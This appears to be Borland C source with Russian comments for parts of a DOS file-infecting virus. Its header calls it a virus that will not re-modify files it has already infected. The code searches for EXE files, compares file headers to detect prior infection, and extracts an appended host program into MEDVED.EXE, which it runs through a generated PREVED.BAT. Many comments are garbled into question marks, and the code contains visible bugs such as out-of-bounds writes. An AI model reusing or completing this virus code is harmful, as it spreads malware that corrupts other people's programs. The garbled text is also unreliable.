//---------------------------------------------------------------------
//---- ЭТО ВЕРСИЯ ПРОГРАММЫ 19 НОЯБРЯ 2012 ГОДА .
//---- ЭТА ПРОГРАММА НАХОДИТ ФАЙЛЫ И ОПРЕДЕЛЯЕТ , МОДИФИЦИРОВАНЫ ОНИ ИЛИ НЕТ .
//---- ЕСЛИ ОНИ МОДИФИЦИРОВАНЫ , ТО ВИРУС ПОВТОРНО НЕ МОДИФИЦИРУЕТ ИХ .
//---------------------------------------------------------------------------
# include <stdio.h>
# include <conio.h>
# include <sys\types.h>
# include <sys\stat.h>
# include <string.h>
# include <dir.h>
# include <process.h>
# pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
//---------------------------------------------------------------------
//====================================================================
long OPREDELITDLINUFAILA(char*NAZVFAILA)
//---- # include <sys\types.h>
//---- # include <sys\stat.h>
//---- # include <stdio.h>
//---- # include <conio.h>
{
struct stat KROKODIL ;
int A1;
long B1;
//---------------------------------------------------------------------
A1=stat(NAZVFAILA,&KROKODIL);
if (A1!=0)
{
textcolor(10);
cprintf("OSHIBKA DOSTUPA K FAJLU . ");
textcolor(7);
}
B1=KROKODIL.st_size;
//---- ?
?
??
?? .
return(B1);
}
//-------------------------------------------------------------------
int IZVLECHENIJE(char*A,int SOBSTVENNAJADLINA)
//----
?
? .
{
long B,Z;
FILE*ISTOCHNIK ;
FILE*PRIJOMNIK ;
FILE*KOMANDABAT ;
int C;
int X;
int Z1;
char BATMEDVED[15]="MEDVED.EXE";
BATMEDVED[10]=0;
BATMEDVED[11]=0;
X=1;
B=OPREDELITDLINUFAILA(A);
cprintf(" VOT DLINA FAJLA . ");
putch(10);
putch(13);
cprintf("%d",B);
if (B>SOBSTVENNAJADLINA)
{
cprintf(" FAJL SOSTAVNOJ ! ");
//-----------------------
??
. ---------------------------
//---- СОЗДАДИМ БАТ-ФАЙЛ PREVED.BAT И ЗАПИШЕМ ТУДА НАЗВАНИЕ ФАЙЛА
//---- MEDVED.EXE
if((KOMANDABAT = fopen("PREVED.BAT","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAIL PREVED.BAT . ");
getch();
}
//---- ТЕПЕРЬ ЗАПИШЕМ В ФАЙЛ PREVED.BAT СТРОЧКУ "MEDVED.EXE"
//--------------------------- ГОТОВО . -------------------------------
for(Z=0;Z<12;Z=Z+1)
{
C=BATMEDVED[Z];
fputc(C,KOMANDABAT );
}
fclose(KOMANDABAT);
//--------------------------------------------------------------------
if((ISTOCHNIK = fopen(A,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}
if((PRIJOMNIK = fopen("MEDVED.EXE","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAJL MEDVED.EXE . ");
getch();
}
//------------------------
??
? . ----------------------------
cprintf(" BUDEM KOPIROVAT ! ");
//-----
??
,
?? SOBSTVENNAJADLINA-?
? ?
? MEDVED.EXE .
X=0;
for(Z=1;Z<(B+1);Z=Z+1)
{
C=fgetc(ISTOCHNIK);
if (X>=(SOBSTVENNAJADLINA))
{
fputc(C,PRIJOMNIK );
}
X=X+1;
}
fclose(ISTOCHNIK);
fclose(PRIJOMNIK );
//---------------------
. --------------------------------------
}
return(0);
}
//---------------------------------------------------------------------
* VIVODSTROKICHAR(char*A1)
//--------- ТА ЖЕ САМАЯ ФУНКЦИЯ , НО ДЛЯ ДРУГОГО ТИПА ДАННЫХ . --------
//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .
//-- ТРЕБУЮТСЯ ФАЙЛЫ
//-- <stdio.h>
//-- <conio.h>
{
int B1,C1;
for(C1=0;C1<100;C1=C1+1)
{
B1=*(A1+C1);
if (B1==0)
{ break ; }
putch(B1);
}
return(0);
}
//---------------------------------------------------------------------
* VIVODSTROKIINT(int*A1)
//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .
//-- ТРЕБУЮТСЯ ФАЙЛЫ
//-- <stdio.h>
//-- <conio.h>
{
int B1,C1;
for(C1=0;C1<100;C1=C1+1)
{
B1=*(A1+C1);
if (B1==0)
{ break ; }
putch(B1);
}
return(0);
}
//---------------------------------------------------------------------
*PREOBRAZOVANIJE_INT_V_CHAR(int*A,char*B)
//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
*PREOBRAZOVANIJE_CHAR_V_INT(char*A,int*B)
//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
int SRAVNENIJESTROK(int*A,int*B,int C)
//----- ЭТА ФУНКЦИЯ ПОБАЙТНО СРАВНИВАЕТ СТРОКИ A И B .
//----- СРАВНИВАЮТСЯ ПЕРВЫЕ C-1 СИМВОЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ СТРОКИ РАВНЫ .
//----- ИНАЧЕ ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .
{
int D;
int E,F;
int H;
H=1;
for (D=0;D<C;D=D+1)
{
E=A[D];
F=B[D];
if (E!=F)
{
H=0;
}
}
return(H);
}
//------------------ ЭТА ФУНКЦИЯ СРАВНИВАЕТ ДВА ФАЙЛА . ---------------
int SRAVNENIJEPROGRAMM(char*PERVIJFAJL,char*VTOROJFAJL)
//----- ЭТА ПРОГРАММА ОТКРЫВАЕТ ДВА ФАЙЛА И СРАВНИВАЕТ
//----- ПОБАЙТНО ПЕРВЫЕ 500 БАЙТ КАЖДОГО ФАЙЛА .
//----- АРГУМЕНТЫ .
//----- PERVIJFAJL И
//----- VTOROJFAJL
//----- ЭТО НАЗВАНИЯ ФАЙЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ ФАЙЛЫ ИДЕНТИЧНЫ .
//----- ЕСЛИ ХОТЯ БЫ ОДИН БАЙТ ОТЛИЧАЕТСЯ , ТО ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .
{
FILE*ISTOCHNIK ;
FILE*ISTOCHNIK2 ;
int C,D,C1,F;
int STROKADLIASRAVNENIJA1[501];
int STROKADLIASRAVNENIJA2[501];
int REZULTAT;
int VERSHINA ;
int OTKUDANACHAT;
int DOKUDASMOTRET;
//---------------------- КОНЕЦ ПЕРЕМЕННЫХ . ---------------------------
REZULTAT=3;
OTKUDANACHAT=0;
DOKUDASMOTRET=499;
VERSHINA=500;
for (D=0;D<501;D=D+1)
{
STROKADLIASRAVNENIJA1[D]=0;
STROKADLIASRAVNENIJA2[D]=0;
}
//---------------------------------------------------------------------
F=0;
if((ISTOCHNIK = fopen(PERVIJFAJL,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}
if((ISTOCHNIK2 = fopen(VTOROJFAJL,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 2 . ");
getch();
}
for (D=0;D<VERSHINA;D=D+1)
{
C=fgetc(ISTOCHNIK);
C1=fgetc(ISTOCHNIK2);
if (D>OTKUDANACHAT)
{
if (D<DOKUDASMOTRET)
{
STROKADLIASRAVNENIJA1[D]=C;
STROKADLIASRAVNENIJA2[D]=C1;
//----- МЫ ВЗЯЛИ ДВА ФАЙЛА И СЧИТАЛИ ИЗ НИХ ПО СТРОКЕ . ---------------
}
}
}
fclose(ISTOCHNIK);
fclose(ISTOCHNIK2);
cprintf(" !!!!!!!!!!!!!!!!!! VNIMANIJE !!!!!!!!!!!!!!!!!!!!!!!");
putch(10);
putch(13);
cprintf(" VOT STROKI . ");
putch(10);
putch(13);
//------------------------ ВЫВОД НАШИХ СТРОК . ------------------------
textcolor(10);
//------------------- ТЕПЕРЬ СРАВНИМ ЭТИ СТРОКИ ! ---------------------
REZULTAT=SRAVNENIJESTROK(STROKADLIASRAVNENIJA1,STROKADLIASRAVNENIJA2,500);
return(REZULTAT);
}
//=====================================================================
*PREVED(int*A,int*B)
//------ ФУНКЦИЯ ДЛЯ КОПИРОВАНИЯ МАССИВОВ . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
//---------------------------------------------------------------------
//---------------------------------------------------------------------
* POISKFAILOV()
// ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ УКАЗАТЕЛЬ НА ДВУМЕРНЫЙ МАССИВ СИМВОЛОВ .
// В МАССИСЕ 100 СТРОК ПО 100 СИМВОЛОВ .
// ЭЛЕМЕНТ МАССИВА С ИНДЕКСОМ [99][100] СОДЕРЖИТ ЧИСЛО ТИПА INT .
// ЭТО ЧИСЛО ЕСТЬ ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .
// КАЖДАЯ СТРОКА МАССИВА СОДЕРЖИТ НАЗВАНИЕ ФАЙЛА И ЗАКАНЧИВАЕТСЯ
// НУЛЕВЫМИ БАЙТАМИ .
{
int*UKAZATEL;
int DINOZAVR;
int KATALOG;
int QQ[100][100];
char NAZVANIJEFAILA[30];
struct ffblk ffblk;
struct JAVIJZUVSIO {
char ff_attrib; /* атрибуты */
int ff_ftime; /* время */
int ff_fdate; /* дата */
long ff_fsize; /* размер */
char ff_fname[13]; /* имя файла */
};
int AZEROTH;
int CHISLOFAILOV ;
int CHISLOKATALOGOV ;
int A,C,DD,FF,EH,JJ;
char B;
int CHISLOBUKVVMASSIVE;
// НАЧАЛО ФУНКЦИИ .
for (A=0;A<100;A=A+1)
{
for (JJ=0;JJ<100;JJ=JJ+1)
{
QQ[A][JJ]=0;
}
}
CHISLOFAILOV=0;
CHISLOKATALOGOV=1;
printf("JA VIJZU FAILI *.*\n");
AZEROTH = findfirst("*EXE",&ffblk,16);
while (!AZEROTH)
{
AZEROTH = findnext(&ffblk);
textcolor (10) ;
cprintf("%d ",CHISLOFAILOV);
textcolor (7) ;
KATALOG=ffblk.ff_attrib;
textcolor(10);
A=0;
putch(10);
putch(13);
B=ffblk.ff_name[0];
if (KATALOG!=16)
{
//------------------------------------------------------------------------
// ПОБАЙТНОЕ КОПИРОВАНИЕ СТРОКИ СИМВОЛОВ ИЗ СТРУКТУРЫ В МАССИВ .
for (A=0;A<256;A=A+1)
{
B=ffblk.ff_name[A];
QQ[CHISLOKATALOGOV][A]=B;
if (B==0)
{
QQ[CHISLOKATALOGOV][A]=B;
CHISLOKATALOGOV=CHISLOKATALOGOV+1;
goto m1;
}
putch(B);
}
//------------------------------------------------------------------------
CHISLOKATALOGOV=CHISLOKATALOGOV+1;
}
m1:textcolor(7);
CHISLOFAILOV=CHISLOFAILOV+1;
if (CHISLOFAILOV>75)
{ break; }
}
putch(10);
putch(13);
printf("VSEGO NAJDENO FAILOV ");
printf("%d",CHISLOFAILOV);
putch(10);
putch(13);
cprintf("MASSIV ZAPISAN . ");
textcolor(10);
putch(10);
putch(13);
cprintf(" FUNKTZIJA POISKA FAILOV VIPOLNENA . ");
UKAZATEL=&QQ[0][0];
QQ[99][100]=CHISLOFAILOV;
return(UKAZATEL);
}
// КОНЕЦ ФУНКЦИИ ПОИСКА ФАЙЛОВ .